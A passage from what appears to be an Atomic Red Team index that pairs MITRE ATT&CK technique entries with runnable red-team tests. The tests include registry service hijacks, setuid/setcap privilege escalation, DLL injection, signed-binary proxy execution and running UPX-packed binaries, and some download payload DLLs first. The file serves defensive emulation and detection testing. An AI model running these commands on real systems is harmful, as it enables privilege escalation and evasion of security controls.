        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
        is controlled through Access Control Lists and permissions. (Citation: Registry
        Key Security)\n\nIf the permissions for users and groups are not properly
        set and allow access to the Registry keys for a service, then adversaries
        can change the service binPath/ImagePath to point to a different executable
        under their control. When the service starts or is restarted, then the adversary-controlled
        program will execute, allowing the adversary to gain persistence and/or privilege
        escalation to the account context the service is set to execute under (local/domain
        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
        that may be executed in an elevated context anytime the service fails or is
        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
        Tweet Registry Perms Weakness) "
      name: Services Registry Permissions Weakness
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.011
        url: https://attack.mitre.org/techniques/T1574/011
      - external_id: CAPEC-478
        source_name: capec
        url: https://capec.mitre.org/data/definitions/478.html
      - source_name: Registry Key Security
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
      - source_name: Kansa Service related collectors
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
      - source_name: Tweet Registry Perms Weakness
        url: https://twitter.com/r0wdy_/status/936365549553991680
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Application control
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: String
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

'
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: String
          default: calcservice
        weak_service_path:
          description: weak service path
          type: String
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: String
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

'
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

'
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

'
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

'
        cleanup_command: 'sc.exe delete #{weak_service_name}

'
        name: command_prompt
  T1548.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.001
        url: https://attack.mitre.org/techniques/T1548/001
      - url: http://man7.org/linux/man-pages/man2/setuid.2.html
        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
          Retrieved September 21, 2018.
        source_name: setuid man page
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Setuid and Setgid
      description: |-
        An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.

        Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

        Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).
      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T00:43:58.149Z'
      created: '2020-01-30T14:11:41.212Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor the file system for files that have the setuid or
        setgid bits set. Monitor for execution of utilities, like chmod, and their
        command-line arguments to look for setuid or setguid bits being set.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1548.001
    atomic_tests:
    - name: Make and modify binary from C source
      auto_generated_guid: 896dfe97-ae43-4101-8e96-9a7996555d80
      description: 'Make, change owner, and change file attributes on a C source code
        file

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        payload:
          description: hello.c payload
          type: Path
          default: PathToAtomicsFolder/T1548.001/src/hello.c
      executor:
        command: |
          cp #{payload} /tmp/hello.c
          sudo chown root /tmp/hello.c
          sudo make /tmp/hello
          sudo chown root /tmp/hello
          sudo chmod u+s /tmp/hello
          /tmp/hello
        cleanup_command: |
          sudo rm /tmp/hello
          sudo rm /tmp/hello.c
        name: sh
        elevation_required: true
    - name: Set a SetUID flag on file
      auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79
      description: 'This test sets the SetUID flag on a file in Linux and macOS.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetUID flag
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod u+s #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

'
        name: sh
        elevation_required: true
    - name: Set a SetGID flag on file
      auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c
      description: 'This test sets the SetGID flag on a file in Linux and macOS.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_setuid:
          description: Path of file to set SetGID flag
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          sudo touch #{file_to_setuid}
          sudo chown root #{file_to_setuid}
          sudo chmod g+s #{file_to_setuid}
        cleanup_command: 'sudo rm #{file_to_setuid}

'
        name: sh
        elevation_required: true
    - name: Make and modify capabilities of a binary
      auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072
      description: |
        Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
        The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
        Without being owned by root, the binary can set the UID to 0.
      supported_platforms:
      - linux
      input_arguments:
        payload:
          description: cap.c payload
          type: Path
          default: PathToAtomicsFolder/T1548.001/src/cap.c
      executor:
        command: |
          cp #{payload} /tmp/cap.c
          make /tmp/cap
          sudo setcap cap_setuid=ep /tmp/cap
          /tmp/cap
        cleanup_command: |
          rm /tmp/cap
          rm /tmp/cap.c
        name: sh
        elevation_required: true
    - name: Provide the SetUID capability to a file
      auto_generated_guid: 1ac3272f-9bcf-443a-9888-4b1d3de785c1
      description: 'This test gives a file the capability to set UID without using
        flags.

'
      supported_platforms:
      - linux
      input_arguments:
        file_to_setcap:
          description: Path of file to provide the SetUID capability
          type: Path
          default: "/tmp/evilBinary"
      executor:
        command: |
          touch #{file_to_setcap}
          sudo setcap cap_setuid=ep #{file_to_setcap}
        cleanup_command: 'rm #{file_to_setcap}

'
        name: sh
        elevation_required: true
  T1218:
    technique:
      id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Signed Binary Proxy Execution
      description: Adversaries may bypass process and/or signature-based defenses
        by proxying execution of malicious content with signed binaries. Binaries
        signed with trusted digital certificates can execute on Windows systems protected
        by digital signature validation. Several Microsoft signed binaries that are
        default on Windows installations can be used to proxy execution of other files.
      external_references:
      - source_name: mitre-attack
        external_id: T1218
        url: https://attack.mitre.org/techniques/T1218
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-01-20T18:12:12.134Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

        Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      - Digital Certificate Validation
      x_mitre_contributors:
      - Nishan Maharjan, @loki248
      - Hans Christoffer Gaardløs
      - Praetorian
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_version: '2.1'
      identifier: T1218
    atomic_tests:
    - name: mavinject - Inject DLL into running process
      auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61
      description: 'Injects arbitrary DLL into running process specified by process
        ID. Requires Windows 10.

'
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of process receiving injection
          type: String
          default: '1000'
        dll_payload:
          description: DLL to inject
          type: Path
          default: PathToAtomicsFolder\T1218\src\x64\T1218.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218.dll must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}

'
        name: command_prompt
        elevation_required: true
    - name: SyncAppvPublishingServer - Execute arbitrary PowerShell code
      auto_generated_guid: d590097e-d402-44e2-ad72-2c6aa1ce78b1
      description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.
        Requires Windows 10.

'
      supported_platforms:
      - windows
      input_arguments:
        powershell_code:
          description: PowerShell code to execute
          type: String
          default: Start-Process calc.exe
      executor:
        command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}"

'
        name: command_prompt
    - name: Register-CimProvider - Execute evil dll
      auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655
      description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also
        note this dll can be served up via SMB

'
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute
          type: Path
          default: PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'C:\Windows\SysWow64\Register-CimProvider.exe -Path #{dll_payload}

'
        name: command_prompt
    - name: InfDefaultInstall.exe .inf Execution
      auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef
      description: |
        Test execution of a .inf using InfDefaultInstall.exe

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: String
          default: PathToAtomicsFolder\T1218\src\Infdefaultinstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_to_execute})

'
        prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'InfDefaultInstall.exe #{inf_to_execute}

'
        name: command_prompt
    - name: ProtocolHandler.exe Downloaded a Suspicious File
      auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2
      description: 'Emulates attack via documents through protocol handler in Microsoft
        Office.  On successful execution you should see Microsoft Word launch a blank
        file.

'
      supported_platforms:
      - windows
      input_arguments:
        remote_url:
          description: url to document
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed with the correct path and protocolhandler.exe
          must be provided

'
        prereq_command: 'if (Test-Path "(Resolve-Path "C:\Program Files*\Microsoft
          Office\root\Office16")\protocolhandler.exe") {exit 0} else {exit 1}

'
        get_prereq_command: 'write-host "Install Microsoft Word or provide correct
          path."

'
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
          call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
    - name: Microsoft.Workflow.Compiler.exe Payload Execution
      auto_generated_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e
      description: 'Emulates attack with Microsoft.Workflow.Compiler.exe running a
        .Net assembly that launches calc.exe

'
      supported_platforms:
      - windows
      input_arguments:
        xml_payload:
          description: XML to execution
          type: Path
          default: PathToAtomicsFolder\T1218\src\T1218.xml
        mwcpath:
          description: Default location of Microsoft.Workflow.Compiler.exe
          type: Path
          default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
        mwcname:
          description: Default name of microsoft.workflow.compiler.exe
          type: Path
          default: microsoft.workflow.compiler.exe
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net must be installed for this test to work correctly.\n"
        prereq_command: 'if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit
          1}

'
        get_prereq_command: 'write-host ".Net must be installed for this test to work
          correctly."

'
      executor:
        command: '#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt

'
        name: powershell
        elevation_required: false
    - name: Renamed Microsoft.Workflow.Compiler.exe Payload Executions
      auto_generated_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911
      description: 'Emulates attack with a renamed Microsoft.Workflow.Compiler.exe
        running a .Net assembly that launches calc.exe

'
      supported_platforms:
      - windows
      input_arguments:
        xml_payload:
          description: XML to execution
          type: Path
          default: PathToAtomicsFolder\T1218\src\T1218.xml
        renamed_binary:
          description: renamed Microsoft.Workflow.Compiler
          type: Path
          default: PathToAtomicsFolder\T1218\src\svchost.exe
        mwcpath:
          description: Default location of Microsoft.Workflow.Compiler.exe
          type: Path
          default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
        mwcname:
          description: Default name of microsoft.workflow.compiler.exe
          type: Path
          default: microsoft.workflow.compiler.exe
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net must be installed for this test to work correctly.\n"
        prereq_command: |
          Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
          if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}
        get_prereq_command: 'write-host "you need to rename workflow complier before
          you run this test"

'
      executor:
        command: "#{renamed_binary} #{xml_payload} output.txt\n"
        name: powershell
        elevation_required: false
    - name: Invoke-ATHRemoteFXvGPUDisablementCommand base test
      auto_generated_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db
      description: |
        RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

        One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.

        Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.

        The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.

        Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
      supported_platforms:
      - windows
      input_arguments:
        module_name:
          description: Specifies a temporary module name to use. If -ModuleName is
            not supplied, a 16-character random temporary module name is used. A PowerShell
            module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses
            module load order, a module name must be specified.
          type: String
          default: foo
        module_path:
          description: Specifies an alternate, non-default PowerShell module path
            for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the
            first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.
          type: String
          default: "$PWD"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name}
          -ModulePath #{module_path}'
        name: powershell
  T1216:
    technique:
      id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Signed Script Proxy Execution
      description: 'Adversaries may use scripts signed with trusted certificates to
        proxy execution of malicious files. Several Microsoft signed scripts that
        are default on Windows installations can be used to proxy execution of other
        files. This behavior may be abused by adversaries to execute malicious files
        that could bypass application control and signature validation on systems.(Citation:
        GitHub Ultimate AppLocker Bypass List)'
      external_references:
      - source_name: mitre-attack
        external_id: T1216
        url: https://attack.mitre.org/techniques/T1216
      - url: https://github.com/api0cradle/UltimateAppLockerByPassList
        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
          April 10, 2018.
        source_name: GitHub Ultimate AppLocker Bypass List
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:39:47.559Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
        parameters for scripts like PubPrn.vbs that may be used to proxy execution
        of malicious files.
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      x_mitre_version: '1.1'
      identifier: T1216
    atomic_tests:
    - name: SyncAppvPublishingServer Signed Script PowerShell Command Execution
      auto_generated_guid: 275d963d-3f36-476c-8bef-a2a3960ee6eb
      description: |
        Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: A PowerShell command to execute.
          type: String
          default: Start-Process calc
      executor:
        command: 'C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"

'
        name: command_prompt
    - name: manage-bde.wsf Signed Script Command Execution
      auto_generated_guid: 2a8f2d3c-3dec-4262-99dd-150cb2a4d63a
      description: 'Executes the signed manage-bde.wsf script with options to execute
        an arbitrary command.

'
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: A command to execute.
          type: Path
          default: "%windir%\\System32\\calc.exe"
      executor:
        command: |
          set comspec=#{command_to_execute}
          cscript %windir%\System32\manage-bde.wsf
        cleanup_command: 'set comspec=%windir%\System32\cmd.exe

'
        name: command_prompt
  T1027.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1027.002
        url: https://attack.mitre.org/techniques/T1027/002
      - external_id: CAPEC-570
        source_name: capec
        url: https://capec.mitre.org/data/definitions/570.html
      - source_name: ESET FinFisher Jan 2018
        url: https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
        description: Kafka, F. (2018, January). ESET's Guide to Deobfuscating and
          Devirtualizing FinFisher. Retrieved August 12, 2019.
      - url: http://en.wikipedia.org/wiki/Executable_compression
        description: Executable compression. (n.d.). Retrieved December 4, 2014.
        source_name: Wikipedia Exe Compression
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Software Packing
      description: "Adversaries may perform software packing or virtual machine software
        protection to conceal their code. Software packing is a method of compressing
        or encrypting an executable. Packing an executable changes the file signature
        in an attempt to avoid signature-based detection. Most decompression techniques
        decompress the executable code in memory. Virtual machine software protection
        translates an executable's original code into a special format that only a
        special virtual machine can run. A virtual machine is then called to run this
        code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software
        packing are called packers. Example packers are MPRESS and UPX. A more comprehensive
        list of known packers is available, (Citation: Wikipedia Exe Compression)
        but adversaries may create their own packing techniques that do not leave
        the same artifacts as well-known packers to evade defenses.  "
      id: attack-pattern--deb98323-e13f-4b0c-8d94-175379069062
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-02-05T20:05:41.548Z'
      created: '2020-02-05T14:17:46.686Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Heuristic detection
      - Signature-based detection
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: Use file scanning to look for known software packers or artifacts
        of packing techniques. Packing is not a definitive indicator of malicious
        activity, because legitimate software may use packing techniques to reduce
        binary size or to protect proprietary code.
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Content'
      x_mitre_contributors:
      - Filip Kafka, ESET
      x_mitre_platforms:
      - macOS
      - Windows
      identifier: T1027.002
    atomic_tests:
    - name: Binary simply packed by UPX (linux)
      auto_generated_guid: 11c46cd8-e471-450e-acb8-52a1216ae6a4
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
        No other protection/compression were applied.
      supported_platforms:
      - linux
      input_arguments:
        bin_path:
          description: Packed binary
          type: Path
          default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

'
        cleanup_command: 'rm /tmp/packed_bin

'
        name: sh
    - name: Binary packed by UPX, with modified headers (linux)
      auto_generated_guid: f06197f8-ff46-48c2-a0c6-afc1b50665e1
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

        The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
        by some methods, and especially UPX is not able to uncompress it any more.
      supported_platforms:
      - linux
      input_arguments:
        bin_path:
          description: Packed binary
          type: Path
          default: PathToAtomicsFolder/T1027.002/bin/linux/test_upx_header_changed
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

'
        cleanup_command: 'rm /tmp/packed_bin

'
        name: sh
    - name: Binary simply packed by UPX
      auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
        No other protection/compression were applied.
      supported_platforms:
      - macos
      input_arguments:
        bin_path:
          description: Packed binary
          type: Path
          default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

'
        cleanup_command: 'rm /tmp/packed_bin

'
        name: sh
    - name: Binary packed by UPX, with modified headers
      auto_generated_guid: 4d46e16b-5765-4046-9f25-a600d3e65e4d
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

        The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
        by some methods, and especially UPX is not able to uncompress it any more.
      supported_platforms:
      - macos
      input_arguments:
        bin_path:
          description: Packed binary
          type: Path
          default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx_header_changed
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

'
        cleanup_command: 'rm /tmp/packed_bin

'
        name: sh
  T1036.006:
    technique:
      id: attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86
      description: |-
        Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

        For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

        Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
      name: Space after Filename
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1036.006
        url: https://attack.mitre.org/techniques/T1036/006
      - external_id: CAPEC-649
        source_name: capec
        url: https://capec.mitre.org/data/definitions/649.html
      - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
        description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
          are suddenly back. Retrieved July 8, 2017.
        source_name: Mac Backdoors are back
      type: attack-pattern
